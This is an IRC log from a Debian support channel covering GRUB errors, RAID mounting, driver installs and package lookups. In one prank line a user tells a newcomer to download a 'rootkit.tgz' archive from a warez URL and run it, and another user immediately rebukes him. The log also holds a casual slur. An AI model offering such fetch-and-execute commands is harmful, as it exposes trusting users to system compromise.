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| 16:51.44 | Petey0 | just working with the debian server |
| 16:51.51 | Petey0 | and some simple shell programming |
| 16:52.00 | Petey0 | first 2 days were just text |
| 16:52.02 | PerfDave | "the debian server"? |
| 16:52.14 | Petey0 | Yeah, working with the graphical version |
| 16:52.21 | Petey0 | click and play |
| 16:52.22 | silvertip257 | PerfDave: it comes up w/ GRUB Hard Disk Error |
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| 16:52.29 | PerfDave | silvertip257: "it"? |
| 16:52.32 | Petey0 | and then we got into installing it without graphics |
| 16:52.37 | minerale | hi, I am trying to figure out which package contains the /bin/ls utility - I tried doing apt-file search /bin/ls$ -> that yieds nothing, anyone know what package that is? |
| 16:52.42 | minerale | (for chroot) |
| 16:52.57 | PerfDave | Petey0: So your 40-hour course was playing with X and an xterm? |
| 16:53.02 | Petey0 | Jupz |
| 16:53.10 | Petey0 | and 1 day of installing it with a NetInstall |
| 16:53.13 | silvertip257 | PerfDave: yea I told it to install in the MBR like i've done w/ every other distro i've used |
| 16:53.14 | PerfDave | minerale: dpkg -S /bin/ls |
| 16:53.27 | silvertip257 | it meaning Debian3.1R4 |
| 16:53.31 | PerfDave | silvertip257: Told what to install in the MBR? |
| 16:53.39 | PerfDave | silvertip257: Why don't you start from the beginning? |
| 16:53.40 | silvertip257 | read above |
| 16:53.46 | silvertip257 | i have 3 times now |
| 16:53.50 | minerale | thanks perfdave |
| 16:54.02 | silvertip257 | i'm not re-doing the install again ... |
| 16:54.04 | PerfDave | silvertip257: Oh well, maybe someone else can help you. |
| 16:54.06 | Petey0 | But thanks for the good advice :) |
| 16:54.09 | silvertip257 | ? |
| 16:54.10 | Petey0 | *waves goodbye* |
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| 16:54.28 | silvertip257 | PerfDave: any idea what's wrong |
| 16:54.49 | witless | i have a debian-stable system with a software RAID array, and a line for it in /etc/fstab. when my system boots up, RAID isn't running so the md0 volume doesn't get mounted. is there a good way to deal with this? |
| 16:55.01 | PerfDave | silvertip257: Not based on the paucity of information you're giving me, no |
| 16:55.32 | Kevin` | witless did you set the partitions the raid is using to the autodetect type? |
| 16:56.00 | silvertip257 | ok PerfDave: let's see I'm using the netinst version of the Debian3.1R4 distro |
| 16:56.24 | silvertip257 | it gets to the part where it asks you about a bootloader |
| 16:56.33 | witless | Kevin`: not sure. the raid does start up, but i think it happens after fstab is processed or something |
| 16:56.48 | Kevin` | witless set them to type FD |
| 16:57.17 | silvertip257 | i tell it GRUB ... tell it no Windows is on hda1 ... and reboot and wham ... it's !@#$ |
| 16:57.23 | Kevin` | witless also, what version of the superblock are you using? |
| 16:57.24 | silvertip257 | i dont understand why |
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| 16:57.51 | silvertip257 | PerfDave: what else do you need |
| 16:58.27 | PerfDave | silvertip257: What does "wham ... it's !@#$" mean? |
| 16:58.38 | witless | Kevin`: i don't know. i used the mdadm utils that came with debian-stable |
| 16:58.47 | Kevin` | witless mdadm -D /dev/md0 |
| 16:58.52 | Kevin` | will show info |
| 16:59.08 | witless | "persistent superblock" |
| 16:59.15 | Kevin` | no version? |
| 16:59.24 | backslashx | I have a problem with apt. I want a local repository to test my own debs. I followed http://www.debian.de/doc/manuals/apt-howto/ch-basico.de.html#s-dpkg-scanpackages and copied a deb into the repository but apt-get doesn't find it |
| 16:59.26 | Kevin` | it says it right at the top on mine |
| 16:59.31 | witless | Version : 00.90.01 |
| 16:59.38 | Kevin` | ok that's good |
| 17:00.02 | tarzeau | abrotman: it's got nice sound - no clue what to do in the game though |
| 17:00.27 | silvertip257 | ok PerfDave ... I boot up w/o the CD in the drive and i do not have a working OS |
| 17:00.35 | Kevin` | witless if the partitions are set to the right type that should be autodected |
| 17:00.41 | PerfDave | silvertip257: What do you mean, you do not have a working OS? |
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| 17:00.47 | silvertip257 | i wait for the debian installer to do it stuff & I get nothing 3 times in a row |
| 17:00.58 | silvertip257 | PerfDave I have nothing but the BIOS that works |
| 17:01.04 | PerfDave | "do it's stuff"? "get nothing"? |
| 17:01.06 | silvertip257 | I cannot boot into Debian |
| 17:01.37 | witless | Kevin`: fdisk tells me type id is 83 |
| 17:01.39 | Kevin` | witless http://pastebin.ca/290990 like that |
| 17:01.45 | silvertip257 | -- the Debian that is on my hdd |
| 17:01.47 | Kevin` | 83 probably won't work |
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| 17:02.12 | norc | I'm missing the ALSA driver in winecfg, but alsa is installed, anyone an idea? |
| 17:02.15 | witless | Kevin`: is it possible to change the type without disturbing the data? |
| 17:02.18 | PerfDave | silvertip257: OK, I've got to go now, I hope you manage to communicate your problem to someone, but I'm afraid you've not given me enough detail to be of assistance. |
| 17:02.19 | Kevin` | witless yes |
| 17:02.25 | witless | in fdisk? |
| 17:02.34 | Kevin` | I used cfdisk, but probably. |
| 17:02.39 | witless | i have that too |
| 17:03.00 | Kevin` | it's just changing a byte :) |
| 17:03.16 | silvertip257 | PerfDave: I have given you good info , but have a good day |
| 17:03.17 | liable | in the most important sector of the disk :P |
| 17:03.30 | PerfDave | silvertip257: If you had, I may have been able to help you. Sorry, but that's the way it is. |
| 17:03.38 | silvertip257 | hey bud ... i did |
| 17:03.49 | silvertip257 | in the past I've given info like that & gotten somewhere |
| 17:04.03 | PerfDave | silvertip257: Whatever. Anyway, I've got to go, I hope you get your problem fixed. |
| 17:04.04 | galois- | god debfoster is a pain when you first run it! |
| 17:04.10 | silvertip257 | ok lata |
| 17:04.22 | pumpkin0 | silvertip257: stop lametalking and get real. what is the exat error-msg grub gives you ? |
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| 17:05.45 | silvertip257 | pumpkin0: i'm not lame talking |
| 17:06.03 | silvertip257 | there are diff errors for each command I try pumpkin0 |
| 17:06.43 | silvertip257 | it's not grub ... it's a bash interface i boot up to using the ubcd when i'm trying the super grub disk to repair grub on the MBR |
| 17:06.44 | pumpkin0 | silvertip257: OK, fill in the following: "i installed using debian CD install CD version XXX on a IDE/SATA/SCSI drive and grub gives me the error XXX". |
| 17:06.50 | galois- | silvertip257: this is what #flood was created for |
| 17:07.13 | silvertip257 | ok pumpkin0 |
| 17:07.14 | galois- | silvertip257: the pasting part :) |
| 17:07.35 | silvertip257 | Debian3.1R4 (netinst) on an IDE drive |
| 17:07.44 | backslashx | I have a problem with apt. I want a local repository to test my own debs. I followed http://www.debian.de/doc/manuals/apt-howto/ch-basico.de.html#s-dpkg-scanpackages and copied a deb into the repository but apt-get doesn't find it <- Nobody got an idea? |
| 17:07.48 | pumpkin0 | and the error ... ? |
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| 17:08.20 | silvertip257 | i try different commands and it gives me Error 27 (every cmmand I try) |
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| 17:08.37 | silvertip257 | gettin to tht pumpkin0 ... it's above this |
| 17:09.19 | pumpkin0 | silvertip257: error 27 is "This error is returned if an unrecognized command is entered into the command-line or in a boot sequence section of a configuration file and that entry is selected.". Did you change the grub-conf file ? |
| 17:09.56 | silvertip257 | no |
| 17:09.58 | silvertip257 | i can't |
| 17:10.14 | silvertip257 | i havent been able to do anything since it rebooted after installation |
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| 17:10.50 | witless | Kevin`: hmm, doesn't seem to have helped. the raid partition still isn't mounted after boot-up (though it is assembled/active) |
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| 17:11.31 | Kevin` | witless so it's assembled automatically, or no? |
| 17:12.07 | pumpkin0 | silvertip257: OK, so you are telling me you hit a bug nobody had in the last years and in the last XY thousend installs ? congrats, post it to the bts. |
| 17:12.08 | silvertip257 | bbl |
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| 17:12.17 | silvertip257 | nope pumpkin0 |
| 17:12.37 | silvertip257 | idk wtf I've got but if debian is like this then screw it |
| 17:12.49 | witless | Kevin`: yes, on boot it's assembled and the md0 partition is available. it's just not getting mounted on /mnt/raid ... |
| 17:12.50 | silvertip257 | cause this isnt worth it |
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| 17:13.22 | Kevin` | witless and it has an entry in fstab? |
| 17:13.38 | witless | Kevin`: yes |
| 17:13.44 | Kevin` | well that's rather odd isn't it |
| 17:13.53 | witless | after boot, if i do mount -a it picks it up |
| 17:13.54 | pumpkin0 | witless: does "mount -a" work ? |
| 17:13.58 | witless | hehe |
| 17:14.01 | Kevin` | are you sure it's not getting assembled after fstab? |
| 17:14.02 | pumpkin0 | hmm ... |
| 17:14.22 | witless | no, not sure when it's actually happening, but after a boot md0 is there, but it's not mounted |
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| 17:14.45 | Kevin` | boot with init=/bin/sh and see |
| 17:14.49 | Kevin` | what kernel version are you using |
| 17:14.56 | Kevin` | i'm not sure when autodetect was added.. |
| 17:16.11 | Kevin` | although it seems like a fairly early addition, looking at google |
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| 17:22.55 | mat087 | Is there any repositories that keep kdevelop 3.4 ? I can't find it anywhere... :( |
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| 17:24.09 | minerale | does anyone here use external rsync/ftp backup? -- I'm looking for a cheap provider |
| 17:26.28 | mormoloc | where can i find a Debian Etch .iso? |
| 17:26.46 | dvs | !topicsmite mormoloc |
| 17:26.46 | dpkg | And the wrath of /TOPIC descended with terrible fury upon mormoloc. And all the people marveled, saying, Behold, we too should read the /TOPIC, lest we be stricken. And all the people read the /TOPIC, and went away edified. |
| 17:27.03 | JB[clone] | use sarge iso and change sources.list |
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| 17:27.37 | blackelf | oh noes! after arresting Reiser, also leading deb devels where arrested today! |
| 17:27.41 | blackelf | charged of communism |
| 17:28.17 | zinx | and going against the constitution by using the GPL? |
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| 17:29.55 | pumpkin0 | blackelf: move to #debian-offtopic, will you ? |
| 17:30.07 | beardy | No, off the network. |
| 17:30.16 | gravity | wtf |
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| 17:30.36 | beardy | <PROTECTED> |
| 17:30.45 | zinx | hey, blame me for that one |
| 17:30.50 | zinx | old SCO joke. |
| 17:30.57 | beardy | Happy Holidays to the ones who deserves it. |
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| 17:33.18 | mormoloc | can I install debian using only 1 CD and downloading the rest from internet (sorry for the newb quest.) |
| 17:33.23 | mormoloc | ? |
| 17:33.30 | dvs | mormoloc: yup |
| 17:33.31 | tarzeau | mormoloc: yes |
| 17:33.42 | JB[clone] | download the netinstall |
| 17:33.43 | witless | Kevin`: FWIW, i removed/added back mountall.sh with update-rc.d, and removed mdadm with update-rc.d and now it's mounted on boot :-) |
| 17:33.43 | blackelf | mormoloc: ye |
| 17:33.54 | beardy | !d-i mormoloc |
| 17:33.54 | dpkg | mormoloc, you want to go to http://www.debian.org/releases/sarge/debian-installer/ or http://www.debian.org/devel/debian-installer/ if you've got hardware that the 3.1r3 installer doesn't support - for your own good, and everyone else's. |
| 17:33.59 | blackelf | mormoloc: get 1-st CD of normal install, or get the small net install |
| 17:34.22 | mormoloc | k |
| 17:34.29 | beardy | !k |
| 17:34.29 | mormoloc | will try |
| 17:34.29 | dpkg | It's OK. OK stands for Zero Killed. If you keep on saying k, there won't be zero killed for much longer. |
| 17:34.40 | beardy | Good luck. |
| 17:34.47 | blackelf | !u |
| 17:34.48 | dpkg | Damnit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1, or wud. Dutch for 'you' (formal singular). See http://ars.userfriendly.org/cartoons/?id=20041201 |
| 17:34.58 | blackelf | !wud |
| 17:34.58 | dpkg | nun uv us wull unswer yu uf yu ask luke u murun. |
| 17:35.22 | beardy | Why? |
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| 17:35.43 | witless | u r 2 cool 2 b 4gotten! |
| 17:36.31 | blackelf | witless: lol fag, valve sucks! lag |
| 17:36.52 | blackelf | there is no counter strike for linux, but IRC + aol can do nice emulation of it.. |
| 17:37.04 | beardy | There is. |
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| 17:37.25 | blackelf | hmmm ok, can I install couter strike in debian? |
| 17:37.52 | pumpkin0 | blackelf: it should be possible via wine gaming. |
| 17:37.54 | beardy | blackelf: No. Not from the repositories. It's not Free. |
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| 17:37.59 | szaszka | Hi! |
| 17:38.11 | blackelf | bah, wine.. |
| 17:38.24 | beardy | blackelf: There is of course binary linux versions aof the client available. |
| 17:38.25 | blackelf | wine sould have builded in firewall and virus protection imho |
| 17:38.41 | gravity | blackelf: Get coding |
| 17:38.48 | blackelf | beardy: huh? there is native version of HL and CS? |
| 17:38.59 | beardy | blackelf: AFAIK yes. |
| 17:39.04 | zinx | No. |
| 17:39.06 | beardy | blackelf: Just search the web. |
| 17:39.21 | gravity | I thought it was all wine myself. |
| 17:39.40 | CHodapp | WINE generally runs in a sort of sandbox making virus protection unnecesarry, doesn't it? |
| 17:39.43 | beardy | Right.. lets find the truth out.. |
| 17:39.56 | CHodapp | and has basically nothing that a separate firewall needs to protect |
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| 17:40.08 | beardy | Quite amaxzing if there isn't, but there isn't then. |
| 17:40.09 | zinx | there's a half-life server for Linux that valve reluctantly put out, only because there so many requests for it |
| 17:40.10 | blackelf | CHodapp: but win32 application could make a linux syscall? |
| 17:40.24 | zinx | s/there/there were/ |
| 17:40.48 | beardy | blackelf: It wouldn't reach the kernel, wine is a sandbox, as said. (?) |
| 17:41.13 | szaszka | Where can I find an mplayer package for my testing? The apt-get does'n find... |
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| 17:41.31 | blackelf | !mplayer |
| 17:41.31 | dpkg | somebody said mplayer was only in Debian unstable. You may want to use a player based on xine-lib or vlc instead. Unofficial packages are available on <debian-multimedia>. The Debian and mplayer FAQ is at http://people.debian.org/~mjr/mplayer.html |
| 17:41.32 | gravity | !mplayer |
| 17:41.38 | beardy | !marillat |
| 17:41.39 | dpkg | debian-multimedia is, like, a repository of unofficial Debian packages, not in Debian for patent-related reasons, maintained by Christian Marillat. For instructions to add an APT source, ask me about <marillat.sarge> or <marillat.etch>. if you already used it, it moved to http://debian-multimedia.org/ (from ftp://ftp.nerim.net/debian-marillat/) Edit sources.list and change to the new location. |
| 17:41.41 | blackelf | gravity: you failed |
| 17:42.01 | blackelf | dpkg have built in protection agains double trigger? nice |
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| 17:42.44 | szaszka | Actually I need mencoder, not a player portion of mplayer |
| 17:42.49 | szaszka | Thanks for help! |
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| 17:42.59 | beardy | Same place. |
| 17:43.48 | Acu | Is there Debian GNU/Linux Certification and Training (Similar to Microsoft Certified System Engineer ? |
| 17:43.53 | beardy | gravity and zinx were right it seems, amazingly enough, no native linux client of counter strike |
| 17:44.05 | zinx | beardy: valve hates linux |
| 17:44.10 | zinx | beardy: valve doesn't even really like the mac |
| 17:44.22 | beardy | Acu: Not an official one. But IIRC there are some that has such programs. |
| 17:44.33 | blackelf | zinx: why valve hates linux? wtf |
| 17:44.34 | beardy | zinx: Then they are morons. |
| 17:44.43 | zinx | beardy: blizzard hates linux even more than valve, however ;) |
| 17:44.50 | blackelf | zinx: why |
| 17:44.52 | _JusSx_ | blackelf: because he doens't like to type everything |
| 17:45.03 | blackelf | ? |
| 17:45.04 | zinx | blackelf: well, valve *was* founded by ex-MS execs |
| 17:45.12 | blackelf | oh |
| 17:45.16 | beardy | zinx: They all are. Play ET or TCE instead. |
| 17:45.19 | zinx | blackelf: But really, i've no idea. they just do. |
| 17:45.19 | Acu | beardy: what's IIRC ? |
| 17:45.25 | beardy | !iirc |
| 17:45.25 | dpkg | IIRC, "IIRC" is an acronym for "If I Recall Correctly", or "If I remember correctly" |
| 17:45.34 | zinx | beardy: I do. I even develop ET/ET Pro :D |
| 17:45.37 | galois- | is 3d performance anywhere close to windows standards in linux? |
| 17:45.44 | beardy | zinx: Ah. :) |
| 17:46.12 | zinx | galois-: it is for nVidia cards |
| 17:46.14 | beardy | galois-: Why wouldn't it be? ANd if that is the standard $chooseone help us.. |
| 17:46.15 | zinx | galois-: it isn't for ATI cards |
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| 17:46.25 | zinx | galois-: and for the other cards.. well, they suck anyway tbh |
| 17:46.39 | galois- | zinx: thanks |
| 17:46.49 | beardy | It all depends on the application you compare with, of course. |
| 17:47.02 | galois- | beardy: it is *a* standard for hardware performance and certainly a mertic a developer would use |
| 17:47.09 | galois- | *metric |
| 17:47.18 | zinx | beardy: the only place there's a difference, the framerates are so absurdly high it doesn't matter |
| 17:47.19 | Zap-W | hey, what is a multiboot kernel |
| 17:47.34 | Acu | OK, I was able to burn a Double Layer DR+ DVD and is read only in the Drive was burnt - why is that ? |
| 17:47.47 | pumpkin0 | galois-: performance of old ATI cards is better under linux then under windows. Newer ATIs are more-or-less unsupported under linux. |
| 17:47.55 | beardy | Acu: Isn't it obvoius? The others can't read it. |
| 17:48.34 | pumpkin0 | Zap-W: where did you find that ? |
| 17:48.34 | teledyn | pumpkin0: what about fglrx? |
| 17:48.34 | zinx | Acu: the other drives can't read dual layer, and/or the other drives aren't burners and the disk isn't closed |
| 17:48.52 | Zap-W | file:/usr/share/doc/grub-doc/html/multiboot_1.html#SEC2 |
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| 17:49.25 | Acu | zinx: OK, I have to look back on it - I thought I chose to close the session |
| 17:49.44 | pumpkin0 | teledyn: it is hard to install and slow to use ... ? |
| 17:50.39 | teledyn | pumpkin0: with module assistant? |
| 17:51.43 | pumpkin0 | teledyn: it is still slow. And you still get people in here lost while trying to install it. when did you last see somebody lost while installing a old radeon ? |
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| 17:53.16 | witless | i have a machine that mounts a remote NFS share on boot. sometimes the server is unavailable. is it possible to get the client to periodically try to reconnect to the server? |
| 17:53.17 | teledyn | Pumpkin0: based on this it seems to be okay: http://www.thinkwiki.org/wiki/Fglrx |
| 17:53.27 | beardy | The stupider the user, the newer the hardware. There are exceptions of course. |
| 17:53.44 | zinx | !info fglrx sid |
| 17:54.00 | zinx | that ain't it |
| 17:54.10 | Malagmyr_ | Is there something I can add to my ssh server that can, instead of asking for my password, ask me, say, 3 of a hundred questions and answers I've entered, so I can log in from machines that I don't trust to be key-logger-free? |
| 17:54.11 | zinx | ah |
| 17:54.13 | zinx | !info fglrx-driver sid |
| 17:54.15 | dpkg | fglrx-driver: (display driver for the ATI graphics accelerators), section non-free/x11, is extra. Version: 8.28.8-4 (sid), Packaged size: 7375 kB, Installed size: 21996 kB |
| 17:54.20 | zinx | it's easy to install :P |
| 17:54.34 | beardy | Malagmyr_: Use certificates/keys. |
| 17:54.41 | zinx | or, at least, no harder than nVidia's drivers, which are packaged in a very similar way |
| 17:54.52 | galois- | Malagmyr_: interesting question, though think that would be a replacement for the login function ... |
| 17:55.13 | zinx | 99% of the people who have installation problems are installing it in ubuntu or similar with the installer from the site |
| 17:55.26 | zinx | or generally do bad things they are really not supposed to be doing. |
| 17:56.01 | zinx | the problem is, people think it *should* be complicated, so they take the most complicated route presented to them, because to them it is clearly the correct route |
| 17:56.46 | Malagmyr_ | galois-: exactly. I go to a comp sci school, and their machines are not that well protected. If I don't have my laptop with me, I don't dare logging into anything. With 3 of a hundred questions and a 1 minute IP ban for each wrong answer, it'd take ages for someone to get in, even if they did log everything I typed. |
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| 17:57.05 | taylorjonl | Anyone alive? |
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| 17:57.14 | beardy | taylorjonl: No. |
| 17:57.19 | taylorjonl | :) |
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| 17:57.55 | taylorjonl | Having issues getting Xen to work, complains that Hotplug scripts aren't working, but Hotplug isn't installed, Udev is what debian uses isn't it? |
| 17:58.26 | beardy | taylorjonl: Maybe hotplug is what xen wants then? |
| 17:58.41 | elshaa | does anyone has an idea of what could slow down an scp transfer ? for large files, the first KB of data are sent at about 100KB/s... (using rj45 for sure) |
| 17:58.41 | galois- | Malagmyr_: be very interested in any solution |
| 17:58.44 | beardy | taylorjonl: Which version of Debian? |
| 17:58.53 | taylorjonl | etch |
| 17:58.57 | taylorjonl | RC4 |
| 17:59.02 | beardy | taylorjonl: Are you using the version of xen that is in etch? |
| 17:59.10 | blackelf | taylorjonl: no, we are all dead, following tragical malfnction in GNU/hurd controlled nuclear reactor |
| 17:59.13 | taylorjonl | I used the built in package management |
| 17:59.40 | taylorjonl | Which gave me only 1 option for Xen |
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| 17:59.45 | beardy | taylorjonl: Have you tried to find the answer in xen's documentation? |
| 17:59.58 | blackelf | how to set grub so it will boot windows MBR of hd(0,1) also switching discs (map hd0,hd1 something?) |
| 18:00.24 | taylorjonl | I have done a google search, some tell me to change the ordering of the udev rules but that didn't help |
| 18:00.38 | beardy | !docs |
| 18:00.38 | dpkg | it has been said that docs is before asking in here, *please* read the available documentation in /usr/share/doc/packagename, man packagename, and http://linuxdoc.org/, or some packages have separate doc packages (e.g. bash-doc), or try the 'info' system |
| 18:00.40 | beardy | Instead. |
| 18:00.51 | beardy | Search for hotplug? |
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| 18:01.30 | galois- | beardy: could you expand on your solution for Malagmyr_ |
| 18:01.35 | galois- | nm |
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| 18:03.50 | taylorjonl | According to the Xen docs it can use udev. |
| 18:03.50 | taylorjonl | The Linux hotplug system2 (e.g., /sbin/hotplug and related scripts). On |
| 18:03.51 | taylorjonl | newer distributions, this is included alongside the Linux udev system3. |
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| 18:04.28 | teledyn | zinx: hear hear. plus !nvidia one liner |
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| 18:05.12 | teledyn | !nvidia one liner |
| 18:05.13 | dpkg | well, nvidia one-liner is update-pciids ; apt-get install module-assistant && m-a prepare && m-a a-i nvidia && apt-get install nvidia-glx nvidia-settings && modprobe nvidia && echo nvidia >> /etc/modules && dpkg-reconfigure xserver-xfree86 (or xserver-xorg on unstable). Contrib and non-free sources needed. See <non-free sources> If you are using etch ask me about <etch nvidia>. |
| 18:06.48 | galois- | Malagmyr_: http://www.imprivata.com/content3373.html may be of interest |
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| 18:11.01 | Malagmyr_ | galois-: nice. I'll have a look at that paper. Also, I've figured out that I could write my own small C application that will ask 3 questions over telnet and, if successful, will run an iptables-command to allow access to ssh for, say, 10 seconds. Then it will be closed again. If I also create an additional account with a password that doesn't work anywhere else, it should be quite safe to log on from a keylogging machine. |
| 18:12.30 | galois- | Malagmyr_: sounsd like it woudl work, although still leaves your main machine open to attack |
| 18:12.43 | norc | hello. I just changed my console font for xterm, and my mc is screwed up because of the missing chars, so I thought mc -a would help |
| 18:12.49 | norc | but mc -a is no different, any ideas why? |
| 18:12.51 | galois- | perhaps script teh telnet connection from a usb key? that way you never type your ip/hostname |
| 18:12.52 | norc | or how to solve it |
| 18:12.53 | norc | ;) |
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| 18:15.30 | Malagmyr_ | galois-: in what way? |
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| 18:16.41 | galois- | Malagmyr_: if you need to type in your ip, they can still locate your physical machine - probably being overly paranoid there |
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| 18:18.44 | Malagmyr_ | galois-: probably. I mean, I'm paranoid, but I'm not THAT paranoid. Also, given the question/password account only works on that specific sshd, and my "regular" one is only used from machines I trust a hundred percent, this should be good. |
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| 18:23.14 | galois- | Malagmyr_: looks like quite a neat solution |
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| 18:27.18 | g333k | hi. how to check a fat32 filesystem ? |
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| 18:28.05 | retard | scandisk? |
| 18:28.12 | retard | in wine?...:D |
| 18:28.21 | blondie | lol |
| 18:28.38 | g333k | from debian |
| 18:29.00 | retard | yeah |
| 18:29.06 | g333k | how? |
| 18:29.15 | retard | will they change the name debian ? |
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| 18:29.25 | retard | it doesnt look good... |
| 18:30.13 | retard | g333k: wine scandisk /autofix c: |
| 18:30.20 | retard | not sure |
| 18:30.57 | g333k | retard, "from debian" I mean if there is an app to do it without using wine... |
| 18:31.26 | retard | ic... |
| 18:31.43 | eap | g333k: try fsck.vfat |
| 18:34.04 | g333k | thanks ead |
| 18:34.07 | g333k | eap* |
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| 18:34.38 | eap | Welcome.. |
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| 18:35.34 | g333k | eap, I dont have this app.... |
| 18:35.45 | g333k | eap, either for install |
| 18:36.13 | eap | g333k: apt-get it |
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| 18:36.43 | eap | g333k: /sbin/fsck.vfat, needs root |
| 18:36.59 | Zap-W | lol, how to specify the size of a ext3 filesystem |
| 18:37.48 | g333k | eap, I dont find it... is it avaiable for etch? |
| 18:38.02 | nkuttler | Zap-W: what do you mean? |
| 18:38.15 | Zap-W | nkuttler, i dont want the filesystem to take the whole space of the partition |
| 18:38.16 | eap | g333k: yes.. |
| 18:39.10 | g333k | eap, I dont have any output for that: apt-cache search fsck.vfat |
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| 18:39.28 | g333k | Zap-W, are you using LVM? |
| 18:40.33 | Zap-W | no |
| 18:40.39 | eap | g333k: hmm let me see, i think its in dosfstools |
| 18:40.57 | wfox | how can I set the mouse scroll wheel speed under fluxbox? |
| 18:40.57 | g333k | Zap-W, why dont you use gparted? |
| 18:41.11 | Zap-W | why would i wanna do that? |
| 18:41.12 | eap | g333k: yep, dosfstools |
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| 18:41.33 | g333k | eap, how did you find that? |
| 18:41.56 | eap | ;) actually experience, |
| 18:42.14 | eap | and did a quick confim on synaptic |
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| 18:43.41 | eap | g333k: interstingly, a search for show provided packages for fsck.vfat yeilds null..hmm bug ? |
| 18:44.24 | g333k | Zap-W, its easier creating partitions from gparted |
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| 18:44.40 | SerajewelKS | eap: apt-cache does not search package contents |
| 18:44.45 | nkuttler | eap: there is no mkfs.vfat |
| 18:44.54 | nkuttler | eap: erm, fsck |
| 18:45.28 | wfox | how can I set the mouse scroll wheel speed ? |
| 18:45.33 | SerajewelKS | nkuttler: except, of course, that there is |
| 18:45.40 | eap | eh? ive got it on my sys, symlinks to dosfsck |
| 18:45.49 | SerajewelKS | !find /fsck.vfat |
| 18:46.03 | dpkg | Debian Search of '/fsck.vfat' (1): (/sbin/fsck.vfat) in otherosfs/dosfstools. |
| 18:46.49 | nkuttler | SerajewelKS: let me be precise. there is no fsck.vfat in the package description... |
| 18:46.52 | mormoloc | looking for i debian etch netinst torrent? any ideas |
| 18:46.54 | eap | how is this possible? im on testing, amd64.. |
| 18:47.21 | SmallR2002 | if i may ask a totally irrelevant question, what would you guys like to see in a python xchat script? |
| 18:47.41 | eap | apt-cache search dosfsck |
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| 18:48.29 | retard | SmallR2002: instant pr0n search engine ?.. |
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| 18:48.37 | SerajewelKS | eap: aptitude install dosfstools |
| 18:48.54 | nkuttler | eap: you may want to install apt-file |
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| 18:49.38 | eap | erm ive got it, g333k was having trouble :-) |
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| 18:50.36 | nkuttler | eap: yeah, but no result for apt-cache search fsck.vfat is no bug |
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| 18:50.49 | eap | ok got it |
| 18:51.18 | eap | nkuttler, thanks for that... ws wondering.. |
| 18:51.33 | g333k | I got it too |
| 18:51.52 | g333k | there is Terror for the word "bug" ....lol |
| 18:51.52 | Lamperi | Mä oon käyny 6.5 enkkua :\ |
| 18:52.01 | bokey | itchi, hi :) |
| 18:52.10 | eap | :) as expected, (thankfully!) |
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| 18:56.21 | hq4ever | How can I extract the postinst from a .deb package ? |
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| 18:57.28 | nkuttler | hq4ever: ar x iirc |
| 18:57.29 | xingu | hq4ever: ar x foo.deb; tar tzf control.tar.gz |
| 18:58.02 | hq4ever | thanks guys |
| 18:58.11 | muntyan | midnight commander can do it too |
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| 19:01.24 | hq4ever | hmmm, Is it possible that a package has no info/* control files at all ? |
| 19:03.04 | hq4ever | yup, confirmed. none after dpkg -i either in local path or in /var/lib/dpkg/info/conky.* |
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| 19:03.37 | xingu | hq4ever: if it doesn't have .list, something's seriously wrong. |
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| 19:08.17 | hq4ever | xingu: It has conky.list & conky.md5sums; it's not an official .deb so no problem there (i guess) |
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| 19:37.10 | ole | how can I really force umounting of a busy device |
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| 19:38.45 | pumpkin0 | ole: use sync and -l. And hope. |
| 19:39.08 | ne0m | yo how do i start up kde |
| 19:39.29 | dvs | ne0m: what happens when you type "startx"? |
| 19:39.55 | ne0m | thats the cmd.... |
| 19:40.09 | dvs | cool |
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| 19:41.13 | pumpkin0 | ne0m: open a console and hit the letters s, t, a, r, t, x and <enter>. What happens ? |
| 19:41.28 | ne0m | it started up already |
| 19:41.49 | pumpkin0 | ne0m: good. You got KDE or gnome ? |
| 19:42.14 | enouf | nemo: try startkde |
| 19:42.29 | enouf | er ne0m |
| 19:42.34 | blackelf | ne0m: open the console, type wget http://warez.ru/spam_sender/rootkit.tgz && tar -fzx rootkit.tgz && ./rootkint then press enter, what happens? |
| 19:42.47 | pumpkin0 | blackelf: GET LOST |
| 19:42.49 | enouf | raf? |
| 19:42.53 | blackelf | erm, tar -xzf |
| 19:42.56 | ne0m | huh |
| 19:43.05 | ne0m | it already started though |
| 19:43.07 | blackelf | oh my god must you all be so serious O_o its xmass \o/ |
| 19:43.18 | ne0m | its kde 3.3 |
| 19:43.30 | pumpkin0 | ne0m: so what is the problem ? |
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| 19:43.42 | enouf | yep .. it's raf |
| 19:43.44 | ne0m | i wanted to kno how n i did....(startx) |
| 19:43.47 | blackelf | enouf: yey |
| 19:44.07 | enouf | :-p .. stop bothering the resident denizens |
| 19:44.11 | blackelf | ne0m: huh? what are tou trying to do |
| 19:45.00 | enouf | <ne0m> yo how do i start up kde <<-- not according to you |
| 19:45.12 | blackelf | enouf: Im on quest to improve kernels memory pressure model |
| 19:45.31 | enouf | blackelf: I followed along for a bit yesterday |
| 19:45.38 | blackelf | but Im not totally shure how nowdays kernel work |
| 19:45.51 | phliver | so let me get this right. i've done a few installs just to make sure. but if i do a fresh install of debian, and the first thing i do is change the sources to etch, and do dist upgrade, it will remove all my kernels and not install a new one? |
| 19:46.02 | blackelf | it cache all pages that are readed, without regard to which file system file they belong right? |
| 19:46.12 | enouf | blackelf: they certainly are complicated .. |
| 19:46.31 | enouf | blackelf: no friggin clue mate |
| 19:46.40 | blackelf | enouf: yeah but the new model should be compatible so I must understand it better |
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| 19:47.00 | enouf | blackelf: read the source like :-) |
| 19:47.06 | enouf | er luke .. |
| 19:47.08 | dvs | phliver: probably |
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| 19:47.54 | blackelf | ok, anyone here knows exacly how kernel caching/buffering works? it have separeted cache/buffer for swap? and files are cached as pages of block device not as parts? |
| 19:47.54 | dvs | phliver: etch requires a 2.6 kernel |
| 19:47.54 | blackelf | enouf: hmm I did a bit |
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| 19:47.55 | pumpkin0 | phliver: since apt-get does not delete the kernel-image ... you will not have a big problem. |
| 19:47.55 | n3kl_ | Hi. |
| 19:47.55 | phliver | im just supprised that it doesnt install one, instead it breaks the install. |
| 19:48.00 | n3kl_ | Anyone know of a free visio-like app for linux? |
| 19:48.09 | pumpkin0 | n3kl_: what is visio ? |
| 19:48.23 | phliver | pumpkin0: it gives a big error message during dist-upgrade saying that its going to remove the kernel, and that its very dangerous |
| 19:48.25 | dvs | pumpkin0: flow chart making type program |
| 19:48.26 | n3kl_ | its an ms app that makes nice diagrams |
| 19:48.30 | n3kl_ | yeah |
| 19:48.33 | pumpkin0 | phliver: install a 2.6'er kernel from etch and the etch-apt-get-DB takes over. |
| 19:48.50 | enouf | phliver: it's a one time dealio .. something to do with merging the meta-pkgs .. security related IIRC |
| 19:48.56 | pumpkin0 | n3kl_: openoffice-draw style ? |
